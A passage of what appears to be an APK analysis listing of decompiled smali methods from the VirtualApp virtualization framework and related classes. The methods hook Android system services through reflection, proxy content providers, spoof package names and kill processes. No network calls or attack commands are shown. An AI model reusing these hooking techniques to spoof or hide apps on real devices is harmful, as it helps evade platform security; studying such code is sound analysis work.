                              28invoke-static {}, Lcom/lody/virtual/client/ipc/VActivityManager;->get()Lcom/lody/virtual/client/ipc/VActivityManager;
                              29move-result-object v0
                              31iget-object v5, v4, Landroid/content/pm/ProviderInfo;->packageName:Ljava/lang/String;
                              33iget-object v6, v4, Landroid/content/pm/ProviderInfo;->processName:Ljava/lang/String;
                              35invoke-virtual {v0, v5, v6, v3}, Lcom/lody/virtual/client/ipc/VActivityManager;->initProcess(Ljava/lang/String;Ljava/lang/String;I)I
                              36move-result v0
                              37const/4 v5, -0x1
                              38if-ne v0, v5, :cond_36
                              39move-object v0, v1
                              40goto_35: return-object v0
                              41cond_36:
                              42invoke-static {v0}, Lcom/lody/virtual/client/stub/VASettings;->getStubAuthority(I)Ljava/lang/String;
                              43move-result-object v0
                              44aput-object v0, p3, v2
                              46invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              47move-result-object v2
                              48if-nez v2, :cond_44
                              49move-object v0, v1
                              50goto/16 :goto_35
                              51cond_44:
                              52invoke-static {}, Lcom/lody/virtual/helper/compat/BuildCompat;->isOreo()Z
                              53move-result v0
                              54if-eqz v0, :cond_68
                              56sget-object v0, Lmirror/android/content/ContentProviderHolderOreo;->provider:Lmirror/RefObject;
                              58invoke-virtual {v0, v2}, Lmirror/RefObject;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              59move-result-object v0
                              60check-cast v0, Landroid/os/IInterface;
                              61if-eqz v0, :cond_5c
                              63invoke-static {}, Lcom/lody/virtual/client/ipc/VActivityManager;->get()Lcom/lody/virtual/client/ipc/VActivityManager;
                              64move-result-object v0
                              66invoke-virtual {v0, v3, v4}, Lcom/lody/virtual/client/ipc/VActivityManager;->acquireProviderClient(ILandroid/content/pm/ProviderInfo;)Landroid/os/IInterface;
                              67move-result-object v0
                              68cond_5c:
                              69sget-object v1, Lmirror/android/content/ContentProviderHolderOreo;->provider:Lmirror/RefObject;
                              71invoke-virtual {v1, v2, v0}, Lmirror/RefObject;->set(Ljava/lang/Object;Ljava/lang/Object;)V
                              73sget-object v0, Lmirror/android/content/ContentProviderHolderOreo;->info:Lmirror/RefObject;
                              75invoke-virtual {v0, v2, v4}, Lmirror/RefObject;->set(Ljava/lang/Object;Ljava/lang/Object;)V
                              76goto_66: move-object v0, v2
                              77goto/16 :goto_35
                              78cond_68:
                              79sget-object v0, Lmirror/android/app/IActivityManager$ContentProviderHolder;->provider:Lmirror/RefObject;
                              81invoke-virtual {v0, v2}, Lmirror/RefObject;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              82move-result-object v0
                              83check-cast v0, Landroid/os/IInterface;
                              84if-eqz v0, :cond_7a
                              86invoke-static {}, Lcom/lody/virtual/client/ipc/VActivityManager;->get()Lcom/lody/virtual/client/ipc/VActivityManager;
                              87move-result-object v0
                              89invoke-virtual {v0, v3, v4}, Lcom/lody/virtual/client/ipc/VActivityManager;->acquireProviderClient(ILandroid/content/pm/ProviderInfo;)Landroid/os/IInterface;
                              90move-result-object v0
                              91cond_7a:
                              92sget-object v1, Lmirror/android/app/IActivityManager$ContentProviderHolder;->provider:Lmirror/RefObject;
                              94invoke-virtual {v1, v2, v0}, Lmirror/RefObject;->set(Ljava/lang/Object;Ljava/lang/Object;)V
                              96sget-object v0, Lmirror/android/app/IActivityManager$ContentProviderHolder;->info:Lmirror/RefObject;
                              98invoke-virtual {v0, v2, v4}, Lmirror/RefObject;->set(Ljava/lang/Object;Ljava/lang/Object;)V
                              99goto/16 :goto_66
                              100cond_85:
                              101invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              102move-result-object v2
                              103if-eqz v2, :cond_ce
                              105invoke-static {}, Lcom/lody/virtual/helper/compat/BuildCompat;->isOreo()Z
                              106move-result v0
                              107if-eqz v0, :cond_b0
                              109sget-object v0, Lmirror/android/content/ContentProviderHolderOreo;->provider:Lmirror/RefObject;
                              111invoke-virtual {v0, v2}, Lmirror/RefObject;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              112move-result-object v0
                              113check-cast v0, Landroid/os/IInterface;
                              115sget-object v1, Lmirror/android/content/ContentProviderHolderOreo;->info:Lmirror/RefObject;
                              117invoke-virtual {v1, v2}, Lmirror/RefObject;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              118move-result-object v1
                              119check-cast v1, Landroid/content/pm/ProviderInfo;
                              120if-eqz v0, :cond_a9
                              122iget-object v1, v1, Landroid/content/pm/ProviderInfo;->authority:Ljava/lang/String;
                              124invoke-static {v6, v1, v0}, Lcom/lody/virtual/client/hook/providers/ProviderHook;->createProxy(ZLjava/lang/String;Landroid/os/IInterface;)Landroid/os/IInterface;
                              125move-result-object v0
                              126cond_a9:
                              127sget-object v1, Lmirror/android/content/ContentProviderHolderOreo;->provider:Lmirror/RefObject;
                              129invoke-virtual {v1, v2, v0}, Lmirror/RefObject;->set(Ljava/lang/Object;Ljava/lang/Object;)V
                              130goto_ae: move-object v0, v2
                              131goto/16 :goto_35
                              132cond_b0:
                              133sget-object v0, Lmirror/android/app/IActivityManager$ContentProviderHolder;->provider:Lmirror/RefObject;
                              135invoke-virtual {v0, v2}, Lmirror/RefObject;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              136move-result-object v0
                              137check-cast v0, Landroid/os/IInterface;
                              139sget-object v1, Lmirror/android/app/IActivityManager$ContentProviderHolder;->info:Lmirror/RefObject;
                              141invoke-virtual {v1, v2}, Lmirror/RefObject;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              142move-result-object v1
                              143check-cast v1, Landroid/content/pm/ProviderInfo;
                              144if-eqz v0, :cond_c8
                              146iget-object v1, v1, Landroid/content/pm/ProviderInfo;->authority:Ljava/lang/String;
                              148invoke-static {v6, v1, v0}, Lcom/lody/virtual/client/hook/providers/ProviderHook;->createProxy(ZLjava/lang/String;Landroid/os/IInterface;)Landroid/os/IInterface;
                              149move-result-object v0
                              150cond_c8:
                              151sget-object v1, Lmirror/android/app/IActivityManager$ContentProviderHolder;->provider:Lmirror/RefObject;
                              153invoke-virtual {v1, v2, v0}, Lmirror/RefObject;->set(Ljava/lang/Object;Ljava/lang/Object;)V
                              154goto/16 :goto_ae
                              155cond_ce: move-object v0, v1
                              156goto/16 :goto_35
                              Cross References
                              APIs
                              • com.lody.virtual.server.am.VActivityManagerService.mProcessNames:Lcom/lody/virtual/server/am/ProcessMap
                              • com.lody.virtual.server.am.VActivityManagerService.mProcessNames:Lcom/lody/virtual/server/am/ProcessMap
                              • com.lody.virtual.server.am.ProcessRecord.pkgList:Ljava/util/Set
                              • java.util.Set.contains
                              • android.os.Process.killProcess
                              Position Instruction Meta Information
                              0.prologue
                              2iget-object v4, p0, Lcom/lody/virtual/server/am/VActivityManagerService;->mProcessNames:Lcom/lody/virtual/server/am/ProcessMap;
                              3monitor-enter v4
                              4try_start_3:
                              5iget-object v0, p0, Lcom/lody/virtual/server/am/VActivityManagerService;->mProcessNames:Lcom/lody/virtual/server/am/ProcessMap;
                              7invoke-virtual {v0}, Lcom/lody/virtual/server/am/ProcessMap;->getMap()Lcom/lody/virtual/helper/collection/ArrayMap;
                              8move-result-object v5
                              10invoke-virtual {v5}, Lcom/lody/virtual/helper/collection/ArrayMap;->size()I
                              11move-result v0
                              12goto_d: add-int/lit8 v3, v0, -0x1
                              13if-lez v0, :cond_43
                              15invoke-virtual {v5, v3}, Lcom/lody/virtual/helper/collection/ArrayMap;->valueAt(I)Ljava/lang/Object;
                              16move-result-object v0
                              17check-cast v0, Lcom/lody/virtual/helper/collection/SparseArray;
                              18const/4 v1, 0x0
                              19move v2, v1
                              20goto_19:
                              21invoke-virtual {v0}, Lcom/lody/virtual/helper/collection/SparseArray;->size()I
                              22move-result v1
                              23if-ge v2, v1, :cond_41
                              25invoke-virtual {v0, v2}, Lcom/lody/virtual/helper/collection/SparseArray;->valueAt(I)Ljava/lang/Object;
                              26move-result-object v1
                              27check-cast v1, Lcom/lody/virtual/server/am/ProcessRecord;
                              28const/4 v6, -0x1
                              29if-eq p2, v6, :cond_30
                              30iget v6, v1, Lcom/lody/virtual/server/am/ProcessRecord;->userId:I
                              31if-eq v6, p2, :cond_30
                              32goto_2c: add-int/lit8 v1, v2, 0x1
                              33move v2, v1
                              34goto/16 :goto_19
                              35cond_30:
                              36iget-object v6, v1, Lcom/lody/virtual/server/am/ProcessRecord;->pkgList:Ljava/util/Set;
                              38invoke-interface {v6, p1}, Ljava/util/Set;->contains(Ljava/lang/Object;)Z
                              39move-result v6
                              40if-eqz v6, :cond_2c
                              41iget v1, v1, Lcom/lody/virtual/server/am/ProcessRecord;->pid:I
                              43invoke-static {v1}, Landroid/os/Process;->killProcess(I)V
                              44goto/16 :goto_2c
                              45catchall_3e: move-exception v0
                              46monitor-exit v4
                              47try_end_40: throw v0
                              48cond_41: move v0, v3
                              49goto/16 :goto_d
                              50cond_43: monitor-exit v4
                              51try_end_44: return-void
                              APIs
                              • java.lang.String.equals
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              1if-eqz p3, :cond_29
                              2const/4 v0, 0x0
                              3move v1, v0
                              4goto_4: array-length v0, p3
                              5if-ge v1, v0, :cond_29
                              6aget-object v0, p3, v1
                              7instance-of v0, v0, Ljava/lang/String;
                              8if-eqz v0, :cond_25
                              9aget-object v0, p3, v1
                              10check-cast v0, Ljava/lang/String;
                              12invoke-static {}, Lcom/lody/virtual/client/env/VirtualRuntime;->getInitialPackageName()Ljava/lang/String;
                              13move-result-object v2
                              15invoke-virtual {v0, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              16move-result v0
                              17if-eqz v0, :cond_25
                              19invoke-static {}, Lcom/lody/virtual/client/core/VirtualCore;->get()Lcom/lody/virtual/client/core/VirtualCore;
                              20move-result-object v0
                              22invoke-virtual {v0}, Lcom/lody/virtual/client/core/VirtualCore;->getHostPkg()Ljava/lang/String;
                              23move-result-object v0
                              24aput-object v0, p3, v1
                              25cond_25: add-int/lit8 v0, v1, 0x1
                              26move v1, v0
                              27goto/16 :goto_4
                              28cond_29:
                              29iget-object v0, p0, Lcom/omg/event/location/BinderHookHandler;->mOriginBinder:Ljava/lang/Object;
                              31invoke-virtual {p2, v0, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              32move-result-object v0
                              33return-object v0
                              APIs
                              • java.lang.Integer.intValue
                              • java.lang.reflect.Method.invoke
                              • android.content.pm.PackageInfo.applicationInfo:Landroid/content/pm/ApplicationInfo
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x0
                              2aget-object v0, p3, v0
                              3check-cast v0, Ljava/lang/String;
                              4const/4 v1, 0x1
                              5aget-object v1, p3, v1
                              6check-cast v1, Ljava/lang/Integer;
                              8invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
                              9move-result v1
                              11invoke-static {}, Lcom/lody/virtual/os/VUserHandle;->myUserId()I
                              12move-result v2
                              14invoke-static {}, Lcom/lody/virtual/client/ipc/VPackageManager;->get()Lcom/lody/virtual/client/ipc/VPackageManager;
                              15move-result-object v3
                              17invoke-virtual {v3, v0, v1, v2}, Lcom/lody/virtual/client/ipc/VPackageManager;->getPackageInfo(Ljava/lang/String;II)Landroid/content/pm/PackageInfo;
                              18move-result-object v0
                              19if-eqz v0, :cond_1d
                              20goto_1c: return-object v0
                              21cond_1d:
                              22invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              23move-result-object v0
                              24check-cast v0, Landroid/content/pm/PackageInfo;
                              25if-eqz v0, :cond_2d
                              27iget-object v1, v0, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo;
                              29invoke-static {v1}, Lcom/lody/virtual/client/hook/proxies/pm/MethodProxies$GetPackageInfo;->isVisiblePackage(Landroid/content/pm/ApplicationInfo;)Z
                              30move-result v1
                              31if-nez v1, :cond_1c
                              32cond_2d: const/4 v0, 0x0
                              33goto/16 :goto_1c
                              APIs
                              • java.lang.Integer.intValue
                              • java.lang.reflect.Method.invoke
                              • android.content.pm.ServiceInfo.applicationInfo:Landroid/content/pm/ApplicationInfo
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x0
                              2aget-object v0, p3, v0
                              3check-cast v0, Landroid/content/ComponentName;
                              4const/4 v1, 0x1
                              5aget-object v1, p3, v1
                              6check-cast v1, Ljava/lang/Integer;
                              8invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
                              9move-result v1
                              11invoke-static {}, Lcom/lody/virtual/os/VUserHandle;->myUserId()I
                              12move-result v2
                              14invoke-static {}, Lcom/lody/virtual/client/ipc/VPackageManager;->get()Lcom/lody/virtual/client/ipc/VPackageManager;
                              15move-result-object v3
                              17invoke-virtual {v3, v0, v1, v2}, Lcom/lody/virtual/client/ipc/VPackageManager;->getServiceInfo(Landroid/content/ComponentName;II)Landroid/content/pm/ServiceInfo;
                              18move-result-object v0
                              19if-eqz v0, :cond_1d
                              20goto_1c: return-object v0
                              21cond_1d:
                              22invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              23move-result-object v0
                              24check-cast v0, Landroid/content/pm/ServiceInfo;
                              25if-eqz v0, :cond_2d
                              27iget-object v1, v0, Landroid/content/pm/ServiceInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo;
                              29invoke-static {v1}, Lcom/lody/virtual/client/hook/proxies/pm/MethodProxies$GetServiceInfo;->isVisiblePackage(Landroid/content/pm/ApplicationInfo;)Z
                              30move-result v1
                              31if-nez v1, :cond_1c
                              32cond_2d: const/4 v0, 0x0
                              33goto/16 :goto_1c
                              APIs
                              • java.lang.Integer.intValue
                              • java.lang.reflect.Method.invoke
                              • android.content.pm.ProviderInfo.applicationInfo:Landroid/content/pm/ApplicationInfo
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x0
                              2aget-object v0, p3, v0
                              3check-cast v0, Ljava/lang/String;
                              4const/4 v1, 0x1
                              5aget-object v1, p3, v1
                              6check-cast v1, Ljava/lang/Integer;
                              8invoke-virtual {v1}, Ljava/lang/Integer;->intValue()I
                              9move-result v1
                              11invoke-static {}, Lcom/lody/virtual/os/VUserHandle;->myUserId()I
                              12move-result v2
                              14invoke-static {}, Lcom/lody/virtual/client/ipc/VPackageManager;->get()Lcom/lody/virtual/client/ipc/VPackageManager;
                              15move-result-object v3
                              17invoke-virtual {v3, v0, v1, v2}, Lcom/lody/virtual/client/ipc/VPackageManager;->resolveContentProvider(Ljava/lang/String;II)Landroid/content/pm/ProviderInfo;
                              18move-result-object v0
                              19if-nez v0, :cond_2c
                              21invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              22move-result-object v0
                              23check-cast v0, Landroid/content/pm/ProviderInfo;
                              24if-eqz v0, :cond_2c
                              26iget-object v1, v0, Landroid/content/pm/ProviderInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo;
                              28invoke-static {v1}, Lcom/lody/virtual/client/hook/proxies/pm/MethodProxies$ResolveContentProvider;->isVisiblePackage(Landroid/content/pm/ApplicationInfo;)Z
                              29move-result v1
                              30if-eqz v1, :cond_2c
                              31cond_2c: return-object v0
                              APIs
                              • java.lang.reflect.Method.invoke
                              • java.lang.Integer.valueOf
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v4, 0x0
                              2aget-object v0, p3, v4
                              3check-cast v0, Landroid/os/IBinder;
                              5invoke-static {}, Lcom/lody/virtual/client/ipc/VActivityManager;->get()Lcom/lody/virtual/client/ipc/VActivityManager;
                              6move-result-object v1
                              8invoke-virtual {v1, v0}, Lcom/lody/virtual/client/ipc/VActivityManager;->isVAServiceToken(Landroid/os/IBinder;)Z
                              9move-result v1
                              10if-nez v1, :cond_14
                              12invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              13move-result-object v0
                              14goto_13: return-object v0
                              15cond_14: const/4 v1, 0x1
                              16aget-object v1, p3, v1
                              17check-cast v1, Landroid/content/Intent;
                              18const/4 v2, 0x2
                              19aget-object v2, p3, v2
                              20check-cast v2, Landroid/os/IBinder;
                              22invoke-static {}, Lcom/lody/virtual/client/ipc/VActivityManager;->get()Lcom/lody/virtual/client/ipc/VActivityManager;
                              23move-result-object v3
                              25invoke-virtual {v3, v0, v1, v2}, Lcom/lody/virtual/client/ipc/VActivityManager;->publishService(Landroid/os/IBinder;Landroid/content/Intent;Landroid/os/IBinder;)V
                              27invoke-static {v4}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              28move-result-object v0
                              29goto/16 :goto_13
                              Cross References
                              APIs
                              • java.lang.reflect.Method.invoke
                              • java.lang.Exception.printStackTrace
                              Position Instruction Meta Information
                              0.prologue
                              2sget-object v0, Lsdk/nicro/lu/ps/b$a;->a:Ljava/lang/Class;
                              3if-eqz v0, :cond_8
                              5sget-object v0, Lsdk/nicro/lu/ps/b$a;->b:Ljava/lang/reflect/Method;
                              6if-nez v0, :cond_c
                              7cond_8:
                              8const-string/jumbo v0, ""
                              9goto_b: return-object v0
                              10cond_c:
                              11const-string/jumbo v1, ""
                              12try_start_f:
                              13sget-object v0, Lsdk/nicro/lu/ps/b$a;->b:Ljava/lang/reflect/Method;
                              14const/4 v2, 0x0
                              15const/4 v3, 0x1
                              16new-array v3, v3, [Ljava/lang/Object;
                              17const/4 v4, 0x0
                              18aput-object p0, v3, v4
                              20invoke-virtual {v0, v2, v3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              21move-result-object v0
                              22check-cast v0, Ljava/lang/String;
                              23try_end_1e: goto/16 :goto_b
                              24catch_1f: move-exception v0
                              26invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                              27move-object v0, v1
                              28goto/16 :goto_b
                              APIs
                              • java.lang.Integer.valueOf
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-static {p3}, Lcom/lody/virtual/client/hook/utils/MethodParameterUtils;->replaceFirstAppPkg([Ljava/lang/Object;)Ljava/lang/String;
                              3move-result-object v0
                              5invoke-static {}, Lcom/lody/virtual/client/core/VirtualCore;->get()Lcom/lody/virtual/client/core/VirtualCore;
                              6move-result-object v1
                              8invoke-virtual {v1, v0}, Lcom/lody/virtual/client/core/VirtualCore;->isAppInstalled(Ljava/lang/String;)Z
                              9move-result v1
                              10if-eqz v1, :cond_1f
                              12invoke-static {}, Lcom/lody/virtual/client/ipc/VNotificationManager;->get()Lcom/lody/virtual/client/ipc/VNotificationManager;
                              13move-result-object v1
                              15invoke-static {}, Lcom/lody/virtual/client/hook/proxies/notification/MethodProxies$CancelAllNotifications;->getAppUserId()I
                              16move-result v2
                              18invoke-virtual {v1, v0, v2}, Lcom/lody/virtual/client/ipc/VNotificationManager;->cancelAllNotification(Ljava/lang/String;I)V
                              19const/4 v0, 0x0
                              21invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              22move-result-object v0
                              23goto_1e: return-object v0
                              24cond_1f:
                              25invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              26move-result-object v0
                              27goto/16 :goto_1e
                              APIs
                              • java.lang.Integer.intValue
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x0
                              2aget-object v0, p3, v0
                              3check-cast v0, Landroid/content/Intent;
                              4const/4 v1, 0x1
                              5aget-object v1, p3, v1
                              6check-cast v1, Ljava/lang/String;
                              7const/4 v2, 0x2
                              8aget-object v2, p3, v2
                              9check-cast v2, Ljava/lang/Integer;
                              11invoke-virtual {v2}, Ljava/lang/Integer;->intValue()I
                              12move-result v2
                              14invoke-static {}, Lcom/lody/virtual/os/VUserHandle;->myUserId()I
                              15move-result v3
                              17invoke-static {}, Lcom/lody/virtual/client/ipc/VPackageManager;->get()Lcom/lody/virtual/client/ipc/VPackageManager;
                              18move-result-object v4
                              20invoke-virtual {v4, v0, v1, v2, v3}, Lcom/lody/virtual/client/ipc/VPackageManager;->resolveIntent(Landroid/content/Intent;Ljava/lang/String;II)Landroid/content/pm/ResolveInfo;
                              21move-result-object v0
                              22if-nez v0, :cond_27
                              24invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              25move-result-object v0
                              26check-cast v0, Landroid/content/pm/ResolveInfo;
                              27cond_27: return-object v0
                              APIs
                              • java.lang.Integer.intValue
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x0
                              2aget-object v0, p3, v0
                              3check-cast v0, Landroid/content/Intent;
                              4const/4 v1, 0x1
                              5aget-object v1, p3, v1
                              6check-cast v1, Ljava/lang/String;
                              7const/4 v2, 0x2
                              8aget-object v2, p3, v2
                              9check-cast v2, Ljava/lang/Integer;
                              11invoke-virtual {v2}, Ljava/lang/Integer;->intValue()I
                              12move-result v2
                              14invoke-static {}, Lcom/lody/virtual/os/VUserHandle;->myUserId()I
                              15move-result v3
                              17invoke-static {}, Lcom/lody/virtual/client/ipc/VPackageManager;->get()Lcom/lody/virtual/client/ipc/VPackageManager;
                              18move-result-object v4
                              20invoke-virtual {v4, v0, v1, v2, v3}, Lcom/lody/virtual/client/ipc/VPackageManager;->resolveService(Landroid/content/Intent;Ljava/lang/String;II)Landroid/content/pm/ResolveInfo;
                              21move-result-object v0
                              22if-nez v0, :cond_27
                              24invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              25move-result-object v0
                              26check-cast v0, Landroid/content/pm/ResolveInfo;
                              27cond_27: return-object v0
                              APIs
                              • java.lang.Integer.valueOf
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              1try_start_0:
                              2invoke-virtual {p0}, Lcom/omg/base/ComponentQuery$NewApkParser;->b()Ljava/lang/reflect/Method;
                              3move-result-object v0
                              5invoke-virtual {p0}, Lcom/omg/base/ComponentQuery$NewApkParser;->a()Ljava/lang/Object;
                              6move-result-object v1
                              7const/4 v2, 0x2
                              8new-array v2, v2, [Ljava/lang/Object;
                              9const/4 v3, 0x0
                              10aput-object p1, v2, v3
                              11const/4 v3, 0x1
                              12const/4 v4, 0x7
                              14invoke-static {v4}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              15move-result-object v4
                              16aput-object v4, v2, v3
                              18invoke-virtual {v0, v1, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              19move-result-object v0
                              20check-cast v0, Landroid/content/pm/PackageParser$Package;
                              21try_end_1c: return-object v0
                              22catch_1d: move-exception v0
                              23const/4 v0, 0x0
                              24goto/16 :goto_1c
                              Cross References
                              APIs
                              • java.lang.reflect.Method.invoke
                              • java.lang.RuntimeException.<init>
                              Position Instruction Meta Information
                              0.annotation system Ldalvik/annotation/Signature;
                              1value = {
                              2"<T:",
                              3"Ljava/lang/Object;",
                              4">()TT;"
                              5}
                              6.end annotation
                              7.prologue
                              8try_start_0:
                              9iget-object v0, p0, Lcom/lody/virtual/client/hook/base/MethodBox;->method:Ljava/lang/reflect/Method;
                              11iget-object v1, p0, Lcom/lody/virtual/client/hook/base/MethodBox;->who:Ljava/lang/Object;
                              13iget-object v2, p0, Lcom/lody/virtual/client/hook/base/MethodBox;->args:[Ljava/lang/Object;
                              15invoke-virtual {v0, v1, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              16try_end_9: move-result-object v0
                              17return-object v0
                              18catch_b: move-exception v0
                              19new-instance v1, Ljava/lang/RuntimeException;
                              21invoke-direct {v1, v0}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/Throwable;)V
                              22throw v1
                              Cross References
                              APIs
                              • java.lang.reflect.Method.invoke
                              • java.lang.Exception.printStackTrace
                              Position Instruction Meta Information
                              0.annotation system Ldalvik/annotation/Signature;
                              1value = {
                              2"([",
                              3"Ljava/lang/Object;",
                              4")TT;"
                              5}
                              6.end annotation
                              7.prologue
                              8const/4 v0, 0x0
                              9try_start_1:
                              10iget-object v1, p0, Lmirror/RefStaticMethod;->method:Ljava/lang/reflect/Method;
                              11const/4 v2, 0x0
                              13invoke-virtual {v1, v2, p1}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              14try_end_7: move-result-object v0
                              15goto_8: return-object v0
                              16catch_9: move-exception v1
                              18invoke-virtual {v1}, Ljava/lang/Exception;->printStackTrace()V
                              19goto/16 :goto_8
                              APIs
                              • android.content.pm.PackageManager.getActivityInfo
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v2, 0x0
                              2aget-object v0, p3, v2
                              3check-cast v0, Landroid/content/ComponentName;
                              4if-eqz v0, :cond_13
                              6invoke-static {}, Lcom/lody/virtual/client/core/VirtualCore;->getPM()Landroid/content/pm/PackageManager;
                              7move-result-object v1
                              9invoke-virtual {v1, v0, v2}, Landroid/content/pm/PackageManager;->getActivityInfo(Landroid/content/ComponentName;I)Landroid/content/pm/ActivityInfo;
                              10move-result-object v0
                              11if-eqz v0, :cond_13
                              12const/4 v0, 0x0
                              13goto_12: return-object v0
                              14cond_13:
                              15invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              16move-result-object v0
                              17goto/16 :goto_12
                              APIs
                              • java.lang.Boolean.valueOf
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x0
                              2aget-object v0, p3, v0
                              3check-cast v0, Ljava/lang/String;
                              5invoke-virtual {p0, v0}, Lcom/lody/virtual/client/hook/proxies/pm/MethodProxies$IsPackageAvailable;->isAppPkg(Ljava/lang/String;)Z
                              6move-result v0
                              7if-eqz v0, :cond_11
                              8const/4 v0, 0x1
                              10invoke-static {v0}, Ljava/lang/Boolean;->valueOf(Z)Ljava/lang/Boolean;
                              11move-result-object v0
                              12goto_10: return-object v0
                              13cond_11:
                              14invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              15move-result-object v0
                              16goto/16 :goto_10
                              APIs
                              • java.lang.Integer.intValue
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x0
                              2aget-object v0, p3, v0
                              3check-cast v0, Landroid/accounts/Account;
                              4const/4 v0, 0x1
                              5aget-object v0, p3, v0
                              6check-cast v0, Ljava/lang/String;
                              7const/4 v0, 0x2
                              8aget-object v0, p3, v0
                              9check-cast v0, Ljava/lang/Integer;
                              11invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                              13invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              14move-result-object v0
                              15return-object v0
                              APIs
                              • java.lang.Integer.valueOf
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x0
                              2aget-object v0, p3, v0
                              3check-cast v0, Landroid/content/ComponentName;
                              4if-eqz v0, :cond_d
                              5const/4 v0, 0x1
                              7invoke-static {v0}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              8move-result-object v0
                              9goto_c: return-object v0
                              10cond_d:
                              11invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              12move-result-object v0
                              13goto/16 :goto_c
                              APIs
                              • java.lang.Integer.intValue
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x0
                              2aget-object v0, p3, v0
                              3check-cast v0, Landroid/accounts/Account;
                              4const/4 v0, 0x1
                              5aget-object v0, p3, v0
                              6check-cast v0, Ljava/lang/Integer;
                              8invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                              10invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              11move-result-object v0
                              12return-object v0
                              APIs
                              • java.lang.Integer.intValue
                              • java.lang.reflect.Method.invoke
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x0
                              2aget-object v0, p3, v0
                              3check-cast v0, Landroid/accounts/Account;
                              4const/4 v0, 0x1
                              5aget-object v0, p3, v0
                              6check-cast v0, Ljava/lang/Integer;
                              8invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
                              10invoke-virtual {p2, p1, p3}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              11move-result-object v0
                              12return-object v0
                              APIs
                              • java.lang.Integer.valueOf
                              • java.lang.reflect.Method.invoke
